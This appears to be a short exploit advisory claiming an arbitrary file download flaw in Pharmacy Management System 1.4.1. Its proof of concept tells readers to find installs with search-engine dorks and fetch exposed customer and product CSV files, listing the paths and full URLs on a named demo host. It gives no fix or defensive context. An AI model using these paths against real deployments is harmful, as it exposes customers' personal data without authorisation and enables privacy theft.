==================================================================================================================================== | # Title : Pharmacy Management System Arbitrary File Download Vulnerability | | # Author : indoushka | | # Telegram : @indoushka | | # Tested on : windows 10 Français V.(Pro) | | # Version : 1.4.1 | | # Vendor : https://codecanyon.net/item/pharmacy-management-system/21428811?s_rank=2 | | # Dork : no / | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] use payload : /public/uploads/customer/customer.csv & /public/uploads/product/item.csv http://pharmacy.w3developer.org/public/uploads/customer/customer.csv http://pharmacy.w3developer.org/public/uploads/product/item.csv Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================